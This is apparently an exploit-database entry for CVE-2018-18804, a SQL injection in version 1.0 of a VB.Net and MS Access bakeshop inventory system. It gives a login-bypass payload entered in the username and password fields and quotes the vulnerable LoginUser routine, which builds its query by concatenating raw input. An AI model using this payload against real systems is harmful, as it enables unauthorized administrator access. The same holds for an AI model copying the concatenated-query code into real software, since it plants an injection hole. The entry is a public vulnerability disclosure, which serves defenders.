Bakeshop Inventory System in VB.Net and MS Access Database 1.0 - SQL Injection

# Exploit Title: Bakeshop Inventory System in VB.Net and MS Access Database 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/bakeshopinventory1.0.zip
# Version: 1.0
# Category: Windows
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18804

# POC: 
# 1)
# User: 'or 1=1 or ''='
# Pass: 'or 1=1 or ''='
# 
# https://2.bp.blogspot.com/-xjiRUlpkNGc/W9Ywmp79JpI/AAAAAAAAENs/3UDWxFvuTfcJrEKDU9TUxJRpoT8T6yLLwCLcBGAs/s1600/sql4.png
# 
#[PATH]/include/publicfunction.vb
#....
#237     Public Sub LoginUser(ByVal userid As Object, ByVal pass As Object)
#238         Try
#239             con.Open()
#240 
#241             cmd = New OleDb.OleDbCommand
#242             With cmd
#243                 .Connection = con
#244                 .CommandText = "SELECT * FROM tblUser WHERE U_UNAME ='" & userid.Text & "' AND U_PASS = '" & pass.Text & "'"
#245             End With
#246 
#247             da = New OleDb.OleDbDataAdapter
#248             da.SelectCommand = cmd
#249             dt = New DataTable
#250             da.Fill(dt)
#251 
#252             If dt.Rows.Count > 0 Then
#253 
#254                 If dt.Rows(0).Item("U_TYPE") = "Administrator" Then
#255 
#256                     MsgBox("You login as administrator!!")
#257 
#258                     ShowForm(LoginForm1, Form1)
#259 
#260 
#261                     LoginForm1.Hide()
#262                 ElseIf dt.Rows(0).Item("U_TYPE") = "Staff" Then
#263 
#264                     MsgBox("You login as Staff!!")
#265 
#266                     With Form1
#267                         '.ManageUsersToolStripMenuItem.Visible = False
#268 
#269                     End With
#270 
#271                     ShowForm(LoginForm1, Form1)
#272 
#273 
#274                     LoginForm1.Hide()
#275                 End If 
#276 
#277             Else
#278                 MsgBox("Account does not exists.", MsgBoxStyle.Exclamation)
#279             End If
#280 
#281         Catch ex As Exception
#282 
#283             MsgBox(ex.Message)
#284         Finally
#285             con.Close()
#286             da.Dispose()
#287         End Try
#288     End Sub
#....